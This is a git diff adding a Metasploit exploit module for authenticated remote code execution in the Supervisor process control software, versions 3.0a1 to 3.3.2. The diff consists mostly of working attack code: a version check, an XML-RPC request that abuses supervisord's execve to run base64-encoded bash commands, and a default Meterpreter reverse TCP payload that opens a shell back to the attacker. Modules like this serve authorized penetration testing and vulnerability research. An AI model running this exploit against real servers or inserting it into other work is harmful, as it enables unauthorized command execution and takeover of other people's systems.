diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 554f0cf453..8c425eacc0 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -6,44 +6,182 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, - 'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]", + 'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution", 'Description' => %q{ - Say something that the user might need to know + This module exploits a vulnerability in the Supervisor process control software, where an authenticated client + can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. + The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this + may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been + configured to run an HTTP server without authentication. + + Due to the nature of this exploit, which utilizes the Python os.execve() function for RCE, the supervisord process + will die upon successful exploitation. This exploit attempts to restart the service to avoid a DoS of Supervisor. + + This vulnerability affects versions 3.0a1 to 3.3.2. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Name' ], + 'Author' => + [ + 'Calum Hutton ' + ], 'References' => [ - [ 'URL', '' ] + ['URL', 'https://github.com/Supervisor/supervisor/issues/964'], + ['URL', 'https://www.debian.org/security/2017/dsa-3942'], ], - 'Platform' => 'win', + 'Platform' => 'linux', 'Targets' => [ - [ 'System or software version', - { - 'Ret' => 0x41414141 # This will be available in `target.ret` - } - ] + ['3.0a1-3.3.2', {}] ], - 'Payload' => + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'DefaultOptions' => { - 'BadChars' => "\x00" + 'RPORT' => 9001, + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + #'AutoRunScript' => 'post/multi/general/execute COMMAND="service supervisor restart"' }, 'Privileged' => false, - 'DisclosureDate' => "", - 'DefaultTarget' => 0)) + 'DisclosureDate' => '19 Jul 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(9001), + OptString.new('AUTH_REQUIRED', [false, 'Enable/disable HTTP basic auth', true]), + OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), + OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), + OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']) + ] + ) + end + + def check_version(version_match) + maj = version_match[2] + min = version_match[3] + patch = version_match[5] + + if maj.to_i == 3 and (patch.nil? or patch.to_i < 3) + return true + else + return false + end end - def check - # For the check command + def check + + print_status("Extracting version from web interface..") + + params = { + 'method' => 'GET', + 'uri' => normalize_uri('/') + } + if datastore['AUTH_REQUIRED'].to_s == 'true' + print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") + params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) + end + res = send_request_cgi(params) + + if res + if res.code == 200 + match = res.body.match(/((\d+)\.([\dab]+)(\.(\d+))?)<\/span>/) + if match + if check_version(match) + print_good("Vulnerable version found: #{match[1]}") + return Exploit::CheckCode::Appears + else + print_bad("Version #{match[1]} is not vulnerable") + return Exploit::CheckCode::Safe + end + else + print_bad("Could not extract version number from web interface") + return Exploit::CheckCode::Unknown + end + elsif res.code == 401 + print_bad("Authentication failed: #{res.code} response") + return Exploit::CheckCode::Safe + else + print_bad("Unexpected HTTP code: #{res.code} response") + return Exploit::CheckCode::Unknown + end + else + print_bad("Error connecting to web interface") + return Exploit::CheckCode::Unknown + end + + end + + def execute_command(cmd, opts = {}) + + # XML-RPC payload template + xml_payload = %{ + + supervisor.supervisord.options.execve + + + /bin/bash + + + + + bash + -c + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash + + + + + + + + +} + + # Send the XML-RPC payload via POST to the specified endpoint + endpoint_path = target_uri.path + print_status("Sending XML-RPC payload via POST to #{peer}:#{datastore['RPORT']}#{endpoint_path}") + + params = { + 'method' => 'POST', + 'uri' => normalize_uri(endpoint_path), + 'ctype' => 'text/xml', + 'headers' => {'Accept' => 'text/xml'}, + 'data' => xml_payload, + 'encode_params' => false + } + if datastore['AUTH_REQUIRED'].to_s == 'true' + print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") + params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) + end + return send_request_cgi(params, timeout=5) + end def exploit - # Main function + + res = execute_cmdstager(:linemax => 800) + + if res + if res.code == 401 + fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response") + elsif res.code == 404 + fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response") + else + fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") + end + else + print_good("Request timeout, usually indicates success. Passing to handler..") + handler + end + end end \ No newline at end of file